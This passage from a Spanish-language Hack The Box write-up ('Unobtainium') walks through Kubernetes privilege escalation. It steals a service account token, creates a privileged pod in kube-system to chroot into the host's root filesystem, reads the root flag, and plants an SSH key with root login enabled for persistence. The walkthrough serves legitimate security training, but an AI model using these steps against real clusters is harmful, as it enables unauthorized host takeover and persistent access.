controllerrevisions.apps [][][create delete get list patch update watch]persistentvolumeclaims [][][create get]events [][][create patch update]events.events.k8s.io [][][create patch update]selfsubjectaccessreviews.authorization.k8s.io [][][create]selfsubjectrulesreviews.authorization.k8s.io [][][create]pods [][][list watch create delete get patch update]statefulsets.apps/finalizers [][][update]statefulsets.apps/status [][][update]root@webapp-deployment-5d764566f4-lrpt9:~/k_info#
Utilizamos parte del token (que permite crear pods) para obtener el nombre del secret, y asi obtener su certificado (persistent-volume-binder-token-fd292).
Finalmente decodificamos y creamos los archivos de token y ca.cert, tambien creamos una variable para poder interactuar con estos archivos.
1
2
3
4
5
6
7
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# ls -lah
total 16K
drwxr-xr-x 2 root root 4.0K Jun 16 08:53 .
drwxr-xr-x 3 root root 4.0K Jun 16 08:52 ..
-rw-r--r-- 1 root root 1.1K Jun 16 08:52 ca.crt
-rw-r--r-- 1 root root 978 Jun 16 08:53 token
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# exportk="/root/kiub --token=$(cat /root/k_info/new/token) --certificate-authority=/root/k_info/new/ca.crt --server=https://10.96.0.1:443"
Escaping From The Pod
Confirmamos que podemos crear y listar pods en kube-system, con ello podriamos crear un nuevo pod utilizando un archivo yaml que nos de acceso privilegiado.
Siguiendo el post Kubernetes Namespace Breakout y Escaping from the pod, realizamos algunos pasos para obtener una shell. Inicialmente enumeramos las imagenes existentes mediante los pods, luego modificamos el archivo de ejemplo utilizando una de las imagenes, en este caso dev-alpine.
Tras la creacion del pod obtuvimos una shell como root y, vemos la direccion /host que es donde se encuentra la direccion raiz del nodo, se ejecuta chroot para hacerlo accesible a nosotros.
which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash");'groups: cannot find name for group ID 11To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root"for details.
root@unobtainium:/# cdroot@unobtainium:~# ls -lah
total 40K
drwx------ 6 root root 4.0K Mar 24 10:36 .
drwxr-xr-x 19 root root 4.0K Feb 22 00:04 ..
lrwxrwxrwx 1 root root 9 Jan 18 03:44 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Dec 52019 .bashrc
drwx------ 2 root root 4.0K Feb 22 00:08 .cache
drwxr-x--- 3 root root 4.0K Jan 8 13:26 .kube
drwxr-xr-x 3 root root 4.0K Jan 18 05:11 .local
drwxr-xr-x 10 root root 4.0K Jan 17 06:23 .minikube
-rw-r--r-- 1 root root 161 Dec 52019 .profile
-rwxr-xr-x 1 root root 3.3K Feb 15 18:34 pod_cleanup.py
-rw-r--r-- 1 root root 33 Jun 15 15:14 root.txt
root@unobtainium:~# cat root.txt
8a812ffde94e627a507cfb24937dade1
root@unobtainium:~#
Estable Shell - SSH
El pod (podsito) no podia ser accedido atravez de bash utilizando kubectl ya que mostraba un error o simplemente no dejaba.
1
2
3
4
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new# $kexec -it podsito -n kube-system -- bash
<nfo/new# $kexec -it podsito -n kube-system -- bash
error: cannot exec into a container in a completed pod; current phase is Failed
root@webapp-deployment-5d764566f4-lrpt9:~/k_info/new#
La shell que obtuvimos moría en cierto tiempo por lo que creamos el archivo authorized_keys en /root/.ssh/ y agregamos nuestra clave publica, tambien agregamos al archivo /etc/ssh/ssh-config la opcion de permitir al usuario root ingresar por le servicio SSH.
π ~/htb/unobtainium/www ❯ ssh root@unobtainium.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-70-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 16 Jun 2021 12:25:35 PM BST
System load: 0.25
Usage of /: 63.3% of 13.22GB
Memory usage: 28%
Swap usage: 0%
Processes: 411 Users logged in: 0 IPv4 address for docker0: 172.17.0.1
IPv4 address for ens192: 10.10.10.235
IPv6 address for ens192: dead:beef::250:56ff:feb9:5dcc
=> There are 113 zombie processes.
0 updates can be installed immediately.
0 of these updates are security updates.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Feb 22 00:08:29 2021root@unobtainium:~#